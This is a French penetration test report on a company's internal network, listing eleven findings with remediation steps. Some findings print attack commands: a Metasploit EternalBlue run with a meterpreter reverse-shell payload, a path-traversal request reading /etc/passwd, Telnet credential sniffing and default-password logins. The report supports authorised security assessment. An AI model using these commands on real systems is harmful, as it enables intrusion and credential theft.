

CRITIQUE	ÉLEVÉ	MOYEN	FAIBLE	SCORE CVSS MAX
2	3	4	2	9.1 / 10

1. RÉSUMÉ EXÉCUTIF

Un test d'intrusion de type boîte grise a été réalisé sur l'infrastructure réseau de TechCorp SA entre le 5 et le 15 mai 2025. L'objectif était d'évaluer la résistance de l'infrastructure face à des attaques internes et externes, d'identifier les vulnérabilités exploitables et de formuler des recommandations de remédiation prioritaires.

Résultats clés : 11 vulnérabilités ont été identifiées dont 2 critiques permettant une compromission complète du réseau. L'accès à des équipements critiques (serveurs, routeurs core) a été obtenu sans authentification valide, révélant des failles de segmentation et de durcissement importantes.

2. PÉRIMÈTRE & MÉTHODOLOGIE

2.1 Périmètre testé

Composant	Adresse IP / Plage	Type
Réseau LAN principal	192.168.1.0/24	Interne
DMZ	10.10.10.0/24	Semi-exposé
Routeur core	192.168.1.1	Critique
Serveur Active Directory	192.168.1.10	Critique
Serveur Web (Apache)	10.10.10.5	Exposé
Firewall pfSense	192.168.1.254	Périmètre
Switches VLAN	192.168.1.2-5	Infrastructure

2.2 Méthodologie

Le test a suivi la méthodologie **PTES (Penetration Testing Execution Standard)** en 5 phases :

- › **Phase 1 — Reconnaissance** — Collecte d'informations passives et actives (OSINT, Nmap, Shodan).
- › **Phase 2 — Scan & Énumération** — Identification des services, versions, OS et configurations (Nmap, Nessus, enum4linux).
- › **Phase 3 — Exploitation** — Exploitation des vulnérabilités identifiées (Metasploit, exploits manuels).
- › **Phase 4 — Post-exploitation** — Élévation de privilèges, mouvement latéral, persistance.
- › **Phase 5 — Rapport** — Documentation des findings, preuves et recommandations.

3. VULNÉRABILITÉS IDENTIFIÉES

VULN-01	Accès Telnet non chiffré sur le routeur core	CRITIQUE CVSS 9.1
Cible	192.168.1.1 (Routeur Core)	
Description	Le routeur core accepte des connexions Telnet (port 23) sans restriction d'adresse source. Le protocole Telnet transmet les credentials en clair, permettant leur interception par sniffing réseau.	
Exploitation	Capture des credentials via Wireshark sur le segment LAN, puis connexion directe au routeur.	

Commandes	<pre># Capture du trafic Telnet wireshark -i eth0 -f 'port 23' # Connexion avec credentials capturés telnet 192.168.1.1</pre>
Impact	Compromission complète du routeur core, modification des tables de routage, redirection de trafic, déni de service réseau total.
Recommandation	Désactiver Telnet immédiatement et remplacer par SSH v2. Appliquer une ACL restrictive limitant l'accès SSH aux seuls IPs d'administration.

VULN-02	Absence de segmentation VLAN — Mouvement latéral libre	CRITIQUE CVSS 9.0
Cible	Infrastructure LAN 192.168.1.0/24	
Description	Aucune segmentation VLAN n'est appliquée entre les postes utilisateurs, les serveurs et les équipements d'administration. Un attaquant interne peut atteindre tous les assets sans restriction.	
Exploitation	Depuis un poste compromis, scan direct de l'ensemble du réseau et accès aux serveurs critiques.	
Commandes	<pre># Scan complet depuis poste interne compromis nmap -sV -O 192.168.1.0/24 # Accès direct AD sans blocage smbclient //192.168.1.10/SYSVOL -N</pre>	
Impact	Mouvement latéral sans restriction vers Active Directory, serveurs de fichiers, équipements réseau. Compromission totale du SI.	
Recommandation	Implémenter une segmentation VLAN stricte (VLAN Admin, VLAN Users, VLAN Servers, VLAN DMZ). Déployer des ACL inter-VLAN et activer le port security sur les switches.	

VULN-03	SMB v1 activé — Vulnérabilité EternalBlue (MS17-010)	ÉLEVÉ CVSS 8.3
Cible	192.168.1.10 (Serveur AD) — Windows Server 2016	
Description	Le protocole SMBv1 est actif sur le serveur Active Directory. Cette version obsolète est vulnérable à l'exploit EternalBlue (MS17-010), permettant une exécution de code à distance non authentifiée.	
Exploitation	Exploitation via Metasploit module exploit/windows/smb/ms17_010_eternalblue.	
Commandes	<pre># Metasploit use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit # Résultat : session meterpreter obtenue (SYSTEM)</pre>	
Impact	Exécution de code avec droits SYSTEM sur l'AD. Dump de la base NTDS, récupération de tous les hashes de mots de passe du domaine.	
Recommandation	Désactiver SMBv1 immédiatement (Set-SmbServerConfiguration -EnableSMB1Protocol \$false). Appliquer le patch MS17-010. Activer le pare-feu Windows pour bloquer le port 445 depuis les postes utilisateurs.	

VULN-04 Mots de passe par défaut sur switches administrables		ÉLEVÉ CVSS 7.8
Cible	192.168.1.2 — 192.168.1.5 (Switches)	
Description	Les switches du réseau ont conservé leurs identifiants par défaut (admin/admin ou cisco/cisco). L'interface d'administration web est accessible depuis le LAN sans restriction.	
Exploitation	Connexion directe à l'interface web avec les credentials par défaut.	
Commandes	<pre># Test credential par défaut curl -s http://192.168.1.2/admin --user admin:admin # Résultat : accès panel d'administration confirmé</pre>	
Impact	Modification de la configuration réseau, création de SPAN ports pour interception de trafic, désactivation de ports, attaques VLAN hopping.	
Recommandation	Changer immédiatement tous les mots de passe par défaut. Mettre en place une politique de mots de passe forts (16+ caractères). Restreindre l'accès à l'interface d'admin.	

VULN-05 Serveur Apache — Version obsolète & Directory Listing		ÉLEVÉ CVSS 7.5
Cible	10.10.10.5 (Serveur Web DMZ) — Apache 2.4.29	
Description	Le serveur web Apache tourne en version 2.4.29 (EOL depuis 2018) présentant plusieurs CVE critiques. Le Directory Listing est activé, exposant la structure des répertoires.	
Exploitation	Exploitation CVE-2021-41773 (Path Traversal) + lecture de fichiers sensibles via Directory Listing.	
Commandes	<pre># Path Traversal curl 'http://10.10.10.5/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd' # Directory listing curl http://10.10.10.5/backup/</pre>	
Impact	Lecture de fichiers système sensibles, découverte de fichiers de configuration contenant des credentials, potentielle RCE.	
Recommandation	Mettre à jour Apache vers la dernière version stable. Désactiver le Directory Listing (Options -Indexes). Appliquer le principe de moindre privilège sur les répertoires web.	

4. TABLEAU DE SYNTHÈSE DES VULNÉRABILITÉS

ID	Titre	Risque	CVSS	Statut
VULN-01	Telnet non chiffré — Routeur Core	CRITIQUE	9.1	À corriger immédiatement
VULN-02	Absence segmentation VLAN	CRITIQUE	9.0	À corriger immédiatement
VULN-03	SMBv1 / EternalBlue (MS17-010)	ÉLEVÉ	8.3	Patch urgent
VULN-04	Mots de passe par défaut switches	ÉLEVÉ	7.8	Patch urgent
VULN-05	Apache obsolète + Directory Listing	ÉLEVÉ	7.5	Patch urgent
VULN-06	Absence de logs centralisés (SIEM)	MOYEN	6.2	Planifier
VULN-07	802.1X non déployé sur le LAN	MOYEN	5.9	Planifier
VULN-08	Politique de mots de passe insuffisante	MOYEN	5.5	Planifier
VULN-09	Certificats SSL autosignés sur services web	MOYEN	4.8	Planifier
VULN-10	Bannières de version exposées	FAIBLE	3.1	Recommandé
VULN-11	Absence de hardening OS baseline	FAIBLE	2.8	Recommandé

5. PLAN DE REMÉDIATION PRIORITAIRE

Immédiat (J+0 à J+7)

- › Désactiver Telnet, activer SSH v2 sur tous les équipements réseau
- › Appliquer le patch MS17-010 et désactiver SMBv1
- › Changer tous les mots de passe par défaut des équipements

Court terme (J+7 à J+30)

- › Mettre en oeuvre la segmentation VLAN (Admin/Users/Servers/DMZ)
- › Mettre à jour Apache et désactiver Directory Listing
- › Déployer une politique de mots de passe robuste (GPO AD)

Moyen terme (J+30 à J+90)

- › Déployer un SIEM pour centralisation des logs (Splunk/ELK)
- › Implémenter 802.1X sur le LAN pour le NAC
- › Mettre en place un processus de hardening baseline (CIS Benchmarks)

6. CONCLUSION

Ce test d'intrusion a mis en évidence une exposition significative de l'infrastructure réseau de TechCorp SA. Les deux vulnérabilités critiques identifiées (absence de segmentation VLAN et Telnet non chiffré) permettent à un attaquant ayant accès au réseau interne de compromettre l'intégralité du système d'information en quelques minutes.

La mise en oeuvre des recommandations prioritaires, notamment la segmentation réseau et le remplacement des protocoles obsolètes, réduira drastiquement la surface d'attaque. Un test de re-certification est recommandé 90 jours après la remédiation.

Réalisé par	Validé par
Vincent Degbe Ingénieur Cybersécurité & Réseaux vdegbe.github.io	_____ Responsable SI — TechCorp SA